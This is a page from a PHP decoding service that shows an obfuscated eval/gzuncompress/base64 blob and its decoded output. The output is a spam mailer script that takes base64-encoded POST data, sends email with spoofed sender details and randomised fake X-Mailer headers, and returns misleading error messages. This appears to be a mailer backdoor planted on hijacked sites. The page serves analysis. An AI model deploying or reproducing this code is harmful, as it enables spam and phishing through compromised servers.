Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $s = eval(gzuncompress(base64_decode("eJylVvtT2zgQ/v1m+j+oaaZxpsR5pwFKGQLhURpISSj0NR..

Decoded Output download





function mailto($to, $subject, $message, $from, $fromAddr) {

$mailer = 'Ximian Evolution 2.3.1 (2.0.1-6)###The Bat! (v2.00.9) Personal###Apple Mail (2.552)###Ximian Evolution 1.0.3 (1.0.3-6)###Ximian Evolution 2.0.1 (2.0.1-6)###The Bat! (v2.00.3) Personal###Mailman v2.0.8###The Bat! (v2.00.9) Personal###Microsoft Outlook Express 6.00.2800.1158###MIME-tools 5.41 (Entity 5.404)###Microsoft Outlook Express 6.00.2800.1158###Pegasus Mail for Win32 (v3.12c)###Microsoft Outlook Express 6.00.2900.2180###Mutt 1.0.1i###Microsoft Office Outlook, Build 11.0.5510###Microsoft Outlook Express 6.00.2800.1158###Sylpheed version 0.7.6 (GTK+ 1.2.10; i686-pc-tommie-gnu)###Microsoft Outlook Express 6.00.2900.2180###Evolution/1.0-5mdk###IPB PHP Mailer###Microsoft Outlook Express 6.00.2800.1158###Microsoft Office Outlook, Build 11.0.5510###IPB PHP Mailer###acme Mail###Apple Mail###Balsa###Becky!###Bloomba###Citadel###Claris Emailer###Claws Mail###Courier###EmailTray###Eudora###Forte Agent###Foxmail###Geary###GNUMail###KMail###IBM Notes & Domino###Mail###Mailbird###Microsoft Office Outlook###Modest###Mozilla Thunderbird###Mulberry###Novell Evolution###Novell GroupWise###Opera Mail###Pegasus Mail###i.Scribe/InScribe###SeaMonkey Mail & Newsgroups###Sylpheed###Sparrow###Spicebird###The Bat!###TouchMail###Windows Live Mail###YAM###Alpine###Elm###Gnus###mailx###MH###MUSH###Mutt###Pine###sendEmail###Turnpike###Upas###24SevenOffice###Alpine###Bongo###Citadel###Horde IMP###Hula project###Kerio WebMail###Mailpile###OpenGroupware Webmail###RoundCube Webmail###SquirrelMail###WebPine###Touchmail###Zimbra';
$xmailer = explode('###',  $mailer);
$gmailer = $xmailer[array_rand($xmailer)] ;

$mb_internal_encoding = mb_internal_encoding();
mb_internal_encoding('UTF-8');
$headers = "Date: ".date("r")."
";
//$headers.= "Return-Path: <".$fromAddr.">
";
$headers.= "From: =?UTF-8?B?".base64_encode($from)."?= <".$fromAddr.">
";
$headers.= "Reply-To:  =?UTF-8?B?".base64_encode($from)."?= <".$fromAddr.">
";

$headers.= "X-Mailer: " . $gmailer . "
";

$headers.= "MIME-Version: 1.0
";
$headers.= "Content-Type: text/plain; charset=UTF-8
";
$headers.= "Content-Transfer-Encoding: 8bit
";



$subject = "=?UTF-8?B?".base64_encode($subject)."?=";


if (strpos($message, '<html')) {
$msgType = "text/html";
} else $msgType = "text/plain";
$body = $message;
mb_internal_encoding($mb_internal_encoding);
return mail($to, $subject, $body, $headers);
}







foreach($_POST as $key => $x_value) {

//    $custom = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/';
  //  $default = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
  //  $data = base64_decode(strtr($x_value, $custom, $default));


$data = base64_decode($x_value) ;
$to_data = explode('|',  $data);

$to = $to_data[0];
$x_subject = $to_data[1];
$x_body = $to_data[2];
$from_user = $to_data[3];
$from_email = $to_data[4];



$jfnbrsjfq =  mailto($to, $x_subject, $x_body, $from_user, $from_email);
if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} 

}



Did this file decode correctly?

Original Code

<?php $s = eval(gzuncompress(base64_decode("eJylVvtT2zgQ/v1m+j+oaaZxpsR5pwFKGQLhURpISSj0NRnZ3iQC2zKSHJL2+r+fVrYTOLi2zMFMJK92v939dvV49tcz8z+OQ1cxHpKAMl9xK6/4GsnL2LkCV+lZAFLSCejZWPAgHXY8TxTJD7TPox0IskUKlyxgNCTdGfdjA1mz63aVWDW7YldLreKLFy+GUyAdqp4Ta6alFXu9SPogJA+pr1d3osgH0tOAaNRs1tDkAWpVw9WJZYYE9RHHld84rt9zjC4DjYBrdvu3cfaYK7jkY0VOY+Vzfk2680hookgLlWtt/VOtNhGod9TrlhTnviRNu6Fj6oaKqQV+VBrFp2H1YUJlLBOCxlyQCxbWazpEzXLN/ROwdfyptiuoGitlqKyy+4bjMXMhs18jnZj5HqmiZrNZrTwt4sHCj6YAHplp8rAwFfu13SLWwfD4lXZes6uVTcJa7VYpcjVLQcCgNAnjJ6ayrHtZR1lqBt61Fh71O6R/2DdkgXhi0Z7AxgM/1A2SHr7X0PqjQ31JcQT3evEcJxozcFC0yxT1AJV2fSqYJN0gg9OCW5lB7PJYMCM2CkNBFziPPS4QZp8LBWRnAqEyX/MgMTsAKlDx4OQ8BTpOx6NOj5xwBZK8JHs8YCFPd0M6OEx4vyAEl7gHUpnJd+b7lAynceiByCxj3wFhvJ/wGfj+apeuRAeCx9EFk6BFpxEImuV7t+P1J7MHrmAOlI/CZIItBrTHw2tYJNviJTmBWzlBQHmnAXEaUSH4rZnpFNL4so2OUx6709ST3lke17y/Z7Nl/T7t9LCkfsRCdNz1A6Q0jNEPEj3HdA/x53xwmO4wzCFRlxB63bQew1iEEbtG8XlE0b7WGMAMwoTdu146PJzwex1yyIUH5KjXx3msCY8Ex7MaqwqCcXIBzp0KRrqPElpDQ/MtFYAqaShnXFdrN3buygY3MRMC/IwLcNIcDEOp0mcWOIIWNvUNMF9eATCPfN0PVkErFNYISS+HImpNllqZwRddELoYCRp6ViYrfiObybXijFioQOgTdwShyz0WTrTtY2IL8R9dKJwP90vtgvE/BU2gkBojt0cVbJCc7enRyolc0c59FV/DnFYrlzNFWyuegdKlKvWpmm6QNzl7efnZubeZxV39fb28Qba2jdvtznbOdqiEViOJCCxjr71tb/0J2hlE/qI05Bvkf0HeB70sJSeVzp/YZFkVm+Qe1zcX2Mfk+N7AC+OxSHe5pj5UpeEi0sQqmKty5FMWbhJ3SoUEtWXC/6WpbgM5BlHqpsXbIG2HqVVQJrD0XYJF/AUlqZZhJTNmY2JJJSIurdWbpvBmqgK/UDRvmXwgJ5gAgpsUcA3NfxLwJZAH6yZFk4/DvQU2dgr8X+34aFNjcwrTZ+YJ9uABhth6SClD7Z8ZHdm/fgsAdadWftQ/HQwJlSSPB+LWW73VRjPqx5A+1splov/ybiz1ZYtPts+fLi8+ng8HZx/6pye998fvjg4P9rt7u52d74v57SxWUtxEPAz86ys2nYzBcx263n7dajbqtWrlVRn3PyEIm/dgTGMfS1PY6ezudfcPDo/eHb/vnZz2P5wNhucfLy4/faaOq/UmU3Z17Qchj26EVPHsdr74XqnW6o1m63V7/T4qVVRDpgX2wBRY11EJK8ttLUtobRlEsZhW/XH7FStYPMVHqdby+PrbHF4oTYC0DpY31fxS+WaOvdGqG5dL1XQp64hMXjNy3J2jWCanYLZUXy0BdsDdtca3Ve9fjUNHyKvxjVa4/1pfRmLmacMsfWVzA475sLG1Aiv+AHfKSUFf0vpF2ajUC5tpv/9roUE2SAGPjKWpVsTAlu34D8rpvnE=")));

Function Calls

gzuncompress 1
base64_decode 1

Variables

$s None

Stats

MD5 d1485004884be12dcf97d8dc27a51da2
Eval Count 1
Decode Time 93 ms